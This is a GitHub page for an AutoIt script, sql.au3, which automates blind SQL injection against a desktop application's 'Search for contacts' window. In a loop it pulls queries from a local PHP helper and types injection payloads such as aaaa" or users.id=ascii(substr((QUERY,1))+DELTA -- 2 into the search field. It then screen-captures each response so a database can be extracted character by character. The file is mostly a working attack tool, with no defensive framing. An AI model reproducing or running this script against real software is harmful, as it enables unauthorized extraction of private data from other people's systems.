-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsql.au3
More file actions
98 lines (76 loc) · 1.84 KB
/
Copy pathsql.au3
File metadata and controls
98 lines (76 loc) · 1.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <ScreenCapture.au3>
Sleep(500)
$Delta = 10081
$Cache = 123
Do
$oIE=ObjCreate("InternetExplorer.Application.1")
if @error then
$oIE=ObjCreate("InternetExplorer.Application.1")
endif
$oIE.Visible=1
$oIE.RegisterAsDropTarget = 1
$oIE.RegisterAsBrowser = 1
$SinkObject=ObjEvent($oIE,"IEEvent_","DWebBrowserEvents")
if @error then
$SinkObject=ObjEvent($oIE,"IEEvent_","DWebBrowserEvents")
endif
Sleep(1000)
$URL = "http://localhost/sql.php?cache=" & $Cache;
$Cache = $Cache + 1
$oIE.Navigate( $URL )
Sleep(2000)
WinActivate($SinkObject)
WinSetState($SinkObject, '', @SW_SHOW)
Sleep(200)
Send("^a")
Sleep(100)
Send("^c")
Sleep(200)
$SinkObject=0
$oIE.Quit
$oIE=0
$Query = "" & ClipGet() & ""
$sTitle = 'Search for contacts'
Opt("MouseCoordMode", 0)
$hWin = WinWait($sTitle, '', 1)
WinActivate($hWin)
WinSetState($hWin, '', @SW_SHOW)
Sleep(500)
MouseClick("", 270, 83, 1)
Sleep(500)
Send("^a")
Sleep(400)
Send("{DEL}")
Sleep(400)
Send("aaaa")
Sleep(1000)
Send("{ENTER}")
Send("^a")
Sleep(400)
Send("{DEL}")
Send("aaaa"" or users.id=ascii(substr(("& $Query & ",1)){+} " & $Delta & " -- 2")
Send("{ENTER}")
Sleep(5000)
$aPos = WinGetPos("Search for contacts")
_ScreenCapture_Capture("c:/wwwroot/htdocs/cmp.png",$aPos[0]+17, $aPos[1]+133, $aPos[0]+334, $aPos[1]+173,0)
Sleep(3000);
$oIE=ObjCreate("InternetExplorer.Application.1")
if @error then
$oIE=ObjCreate("InternetExplorer.Application.1")
endif
$oIE.Visible=1
$oIE.RegisterAsDropTarget = 1
$oIE.RegisterAsBrowser = 1
$SinkObject=ObjEvent($oIE,"IEEvent_","DWebBrowserEvents")
if @error then
$SinkObject=ObjEvent($oIE,"IEEvent_","DWebBrowserEvents")
endif
sleep(1000)
$URL = "http://localhost/sql.php?q=1&cache=" & $Cache
$Cache = $Cache + 1
$oIE.Navigate( $URL )
sleep(1000)
$SinkObject=0
$oIE.Quit
$oIE=0
Until ($Query == "),1")